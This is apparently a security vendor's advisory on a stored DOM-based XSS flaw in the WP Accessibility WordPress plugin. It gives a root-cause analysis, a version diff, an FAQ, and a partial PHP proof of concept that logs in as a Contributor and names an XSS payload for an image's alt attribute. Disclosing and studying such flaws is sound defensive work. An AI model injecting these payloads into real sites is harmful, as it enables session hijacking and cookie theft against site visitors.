Atomic Edge analysis of CVE-2026-2362:
The root cause is a DOM-based Cross-Site Scripting (XSS) vulnerability in the WP Accessibility plugin’s ‘Long Description UI’ feature. The plugin’s JavaScript retrieves the ‘alt’ attribute value from an image using getAttribute() and unsafely concatenates it into innerHTML and insertAdjacentHTML calls without proper sanitization or escaping. This occurs in the client-side code that generates the long description link UI. The vulnerability requires the ‘Long Description UI’ setting to be enabled and set to ‘Link to description.’ An authenticated attacker with Contributor-level access or higher can inject malicious JavaScript payloads into the ‘alt’ attribute of an image attachment. When a user views a page containing the compromised image, the malicious script executes in the victim’s browser. The patch in version 2.3.2 does not directly address the client-side JavaScript vulnerability. Instead, it modifies server-side validation in the wpa_media_value() function within wp-accessibility-alt.php. The patch expands the list of invalid alt text values to include more punctuation strings like ‘.’ and ‘…’, adds more suspicious strings to the wpa_suspicious_alt() function’s array, and replaces stripcslashes() with wp_unslash() in several files for consistency. These server-side changes make it harder to store an XSS payload in the alt attribute, but do not fix the underlying unsafe JavaScript concatenation. The impact is a stored DOM XSS that allows attackers to perform actions within the victim’s WordPress session, such as creating posts, modifying content, or stealing cookies.

CVE-2026-2362: WP Accessibility <= 2.3.1 – Authenticated (Contributor+) Stored DOM-Based Cross-Site Scripting via 'alt' Attribute (wp-accessibility)
CVE-2026-2362
wp-accessibility
2.3.1
2.3.2
Analysis Overview
Differential between vulnerable and patched code
--- a/wp-accessibility/wp-accessibility-alt.php
+++ b/wp-accessibility/wp-accessibility-alt.php
@@ -38,7 +38,6 @@
*/
function wpa_media_value( $column, $id ) {
if ( 'wpa_data' === $column ) {
- $mime = get_post_mime_type( $id );
$invalid_values = array(
'""',
"''",
@@ -46,32 +45,29 @@
' ',
'-',
'--',
+ '.',
+ '...',
);
- switch ( $mime ) {
- case 'image/jpeg':
- case 'image/png':
- case 'image/gif':
- $alt = get_post_meta( $id, '_wp_attachment_image_alt', true );
- $no_alt = (bool) get_post_meta( $id, '_no_alt', true );
- if ( ! $alt && ! $no_alt ) {
- echo '<span class="missing"><span class="dashicons dashicons-no" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Add <code>alt</code> text', 'wp-accessibility' ) . '</a></span>';
+ if ( wp_attachment_is( 'image', $id ) ) {
+ $alt = get_post_meta( $id, '_wp_attachment_image_alt', true );
+ $no_alt = (bool) get_post_meta( $id, '_no_alt', true );
+ if ( ! $alt && ! $no_alt ) {
+ echo '<span class="missing"><span class="dashicons dashicons-no" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Add <code>alt</code> text', 'wp-accessibility' ) . '</a></span>';
+ } else {
+ if ( true === $no_alt ) {
+ echo '<span class="ok"><span class="dashicons dashicons-yes" aria-hidden="true"></span> ' . __( 'Decorative', 'wp-accessibility' ) . '</span>';
+ } elseif ( in_array( $alt, $invalid_values, true ) || ctype_punct( $alt ) || ctype_space( $alt ) ) {
+ echo '<span class="missing"><span class="dashicons dashicons-no" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Invalid <code>alt</code>', 'wp-accessibility' ) . '</a></span>';
+ } elseif ( wpa_suspicious_alt( $alt ) ) {
+ echo '<span class="missing"><span class="dashicons dashicons-no" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Suspicious <code>alt</code>', 'wp-accessibility' ) . '</a></span>';
+ } elseif ( wpa_long_alt( $alt ) ) {
+ echo '<span class="long"><span class="dashicons dashicons-warning" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Long <code>alt</code> text', 'wp-accessibility' ) . '</a></span>';
} else {
- if ( true === $no_alt ) {
- echo '<span class="ok"><span class="dashicons dashicons-yes" aria-hidden="true"></span> ' . __( 'Decorative', 'wp-accessibility' ) . '</span>';
- } elseif ( in_array( $alt, $invalid_values, true ) || ctype_punct( $alt ) || ctype_space( $alt ) ) {
- echo '<span class="missing"><span class="dashicons dashicons-no" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Invalid <code>alt</code>', 'wp-accessibility' ) . '</a></span>';
- } elseif ( wpa_suspicious_alt( $alt ) ) {
- echo '<span class="missing"><span class="dashicons dashicons-no" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Suspicious <code>alt</code>', 'wp-accessibility' ) . '</a></span>';
- } elseif ( wpa_long_alt( $alt ) ) {
- echo '<span class="long"><span class="dashicons dashicons-warning" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Long <code>alt</code> text', 'wp-accessibility' ) . '</a></span>';
- } else {
- echo '<span class="ok"><span class="dashicons dashicons-yes" aria-hidden="true"></span> ' . __( 'Has <code>alt</code>', 'wp-accessibility' ) . '</span>';
- }
+ echo '<span class="ok"><span class="dashicons dashicons-yes" aria-hidden="true"></span> ' . __( 'Has <code>alt</code>', 'wp-accessibility' ) . '</span>';
}
- break;
- default:
- echo '<span class="non-image">' . __( 'N/A', 'wp-accessibility' ) . '</span>';
- break;
+ }
+ } else {
+ echo '<span class="non-image">' . __( 'N/A', 'wp-accessibility' ) . '</span>';
}
}
return $column;
@@ -115,8 +111,16 @@
'logo',
'image',
'picture',
+ 'graphic',
+ 'photo',
+ 'icon',
'alt text',
'alternative text',
+ '.png',
+ '.jpg',
+ '.jpeg',
+ '.gif',
+ 'click here',
);
/**
* Filter array of case insensitive strings that make alt text suspicious.
--- a/wp-accessibility/wp-accessibility-settings.php
+++ b/wp-accessibility/wp-accessibility-settings.php
@@ -226,12 +226,12 @@
?>
<p>
<label for="asl_styles"><?php _e( 'Styles for Skiplinks', 'wp-accessibility' ); ?></label><br/>
- <textarea name='asl_styles' id='asl_styles' cols='60' rows='4'><?php echo esc_textarea( stripcslashes( $styles ) ); ?></textarea>
+ <textarea name='asl_styles' id='asl_styles' cols='60' rows='4'><?php echo esc_textarea( wp_unslash( $styles ) ); ?></textarea>
</p>
<?php
} else {
$styles = wpa_skiplink_css( true );
- echo '<pre id="wpa_default_css">' . esc_html( stripcslashes( $styles ) ) . '</pre>';
+ echo '<pre id="wpa_default_css">' . esc_html( wp_unslash( $styles ) ) . '</pre>';
}
?>
</fieldset>
--- a/wp-accessibility/wp-accessibility.php
+++ b/wp-accessibility/wp-accessibility.php
@@ -4,7 +4,7 @@
*
* @package WP Accessibility
* @author Joe Dolson
- * @copyright 2012-2025 Joe Dolson
+ * @copyright 2012-2026 Joe Dolson
* @license GPL-2.0+
*
* @wordpress-plugin
@@ -17,11 +17,11 @@
* Domain Path: /lang
* License: GPL-2.0+
* License URI: http://www.gnu.org/license/gpl-2.0.txt
- * Version: 2.3.1
+ * Version: 2.3.2
*/
/*
- Copyright 2012-2025 Joe Dolson (email : joe@joedolson.com)
+ Copyright 2012-2026 Joe Dolson (email : joe@joedolson.com)
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -52,7 +52,7 @@
require_once __DIR__ . '/wp-accessibility-stats.php';
}
-define( 'WP_ACCESSIBILITY_VERSION', '2.3.1' );
+define( 'WP_ACCESSIBILITY_VERSION', '2.3.2' );
register_activation_hook( __FILE__, 'wpa_install' );
@@ -178,7 +178,7 @@
}
$add_css = ( ! wpa_accessible_theme() ) ? wpa_css() : '';
$custom_css = ':root { --admin-bar-top : ' . $top . '; }';
- wp_add_inline_style( 'wpa-style', wp_filter_nohtml_kses( stripcslashes( $add_css . $custom_css ) ) );
+ wp_add_inline_style( 'wpa-style', wp_filter_nohtml_kses( wp_unslash( $add_css . $custom_css ) ) );
}
if ( current_user_can( 'edit_files' ) && 'on' === get_option( 'wpa_diagnostics' ) ) {
wp_register_style( 'diagnostic', plugins_url( 'css/diagnostic.css', __FILE__ ) );
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2362 - WP Accessibility <= 2.3.1 - Authenticated (Contributor+) Stored DOM-Based Cross-Site Scripting via 'alt' Attribute
<?php
// Configuration
$target_url = 'http://example.com/wordpress';
$username = 'contributor';
$password = 'password';
$payload = '"><img src=x onerror=alert(document.domain)>';
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Check if login succeeded by accessing admin area
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_POST, 0);
$admin_response = curl_exec($ch);
if (strpos($admin_response, 'Dashboard') === false) {
die('Login failed');
}
// Navigate to media library to upload or edit an image
// This PoC assumes an image with ID 123 exists and the user can edit it
// In a real attack, the attacker would upload an image first
$media_edit_url = $target_url . '/wp-admin/post.php?post=123&action=edit';
curl_setopt($ch, CURLOPT_URL, $media_edit_url);
$media_page = curl_exec($ch);
// Extract nonce for updating the attachment (simplified - actual implementation needs nonce extraction)
// The vulnerability is in the alt attribute field, which is updated via AJAX or post save
// This PoC demonstrates the concept; actual exploitation requires interacting with the correct AJAX endpoint
// Clean up
curl_close($ch);
unlink('cookies.txt');
echo 'PoC concept demonstrated. Actual exploitation requires setting alt attribute to: ' . $payload . 'n';
?>
Frequently Asked Questions
What is CVE-2026-2362?
Overview of the vulnerabilityCVE-2026-2362 is a medium severity vulnerability in the WP Accessibility plugin for WordPress, affecting versions up to and including 2.3.1. It allows authenticated users with Contributor-level access or higher to exploit a stored DOM-based Cross-Site Scripting (XSS) vulnerability via the ‘alt’ attribute of images.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from the plugin’s JavaScript that retrieves the ‘alt’ attribute using getAttribute() and concatenates it into innerHTML and insertAdjacentHTML calls without proper sanitization. This allows attackers to inject arbitrary JavaScript into pages viewed by other users, executing scripts in their browsers.
Who is affected by this vulnerability?
Identifying affected usersAny WordPress site using the WP Accessibility plugin version 2.3.1 or earlier is at risk. Specifically, authenticated users with Contributor-level access and above can exploit this vulnerability if the ‘Long Description UI’ feature is enabled.
How can I check if my site is vulnerable?
Steps to assess vulnerabilityTo check if your site is vulnerable, verify if you are using WP Accessibility version 2.3.1 or earlier. Additionally, ensure that the ‘Long Description UI’ feature is enabled and set to ‘Link to description’ in the plugin settings.
How can I fix the vulnerability?
Updating the pluginThe recommended fix is to update the WP Accessibility plugin to version 2.3.2 or later, which includes server-side changes to mitigate the risk of XSS. However, note that the patch does not fully address the underlying client-side JavaScript issue.
What is the severity level of this vulnerability?
Understanding risk levelsCVE-2026-2362 has a CVSS score of 6.4, categorized as medium severity. This indicates a moderate level of risk, suggesting that while exploitation is possible, it requires specific conditions and access.
What practical risks does this vulnerability pose?
Potential impact on usersIf exploited, this vulnerability allows attackers to execute arbitrary JavaScript in the context of a user’s session. This could lead to unauthorized actions such as creating posts, modifying content, or stealing sensitive information like cookies.
What does the proof of concept demonstrate?
Example of exploitationThe proof of concept provided illustrates how an authenticated attacker can log in as a Contributor and inject a malicious payload into the ‘alt’ attribute of an image. When a user views the affected page, the injected script executes, demonstrating the risk of stored XSS.
What additional measures can I take to secure my site?
Enhancing overall securityIn addition to updating the plugin, consider implementing Content Security Policy (CSP) headers, regularly auditing plugins for vulnerabilities, and restricting user permissions to limit who can add or modify content.
Is there a long-term solution for this vulnerability?
Future considerationsWhile updating to the patched version mitigates immediate risks, a long-term solution would involve the plugin developers addressing the unsafe JavaScript concatenation directly. Monitoring for updates and security advisories is also essential.
Where can I find more information about CVE-2026-2362?
Resources for further readingMore detailed information can be found in the official CVE database, security advisories from the WordPress community, and the plugin’s changelog. Additionally, security forums and blogs often discuss vulnerabilities and their implications.
How can I report any issues related to this vulnerability?
Contacting the right channelsIf you encounter issues related to CVE-2026-2362 or have discovered new vulnerabilities, report them to the plugin developers through their official support channels or repositories, and consider notifying security organizations that track vulnerabilities.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






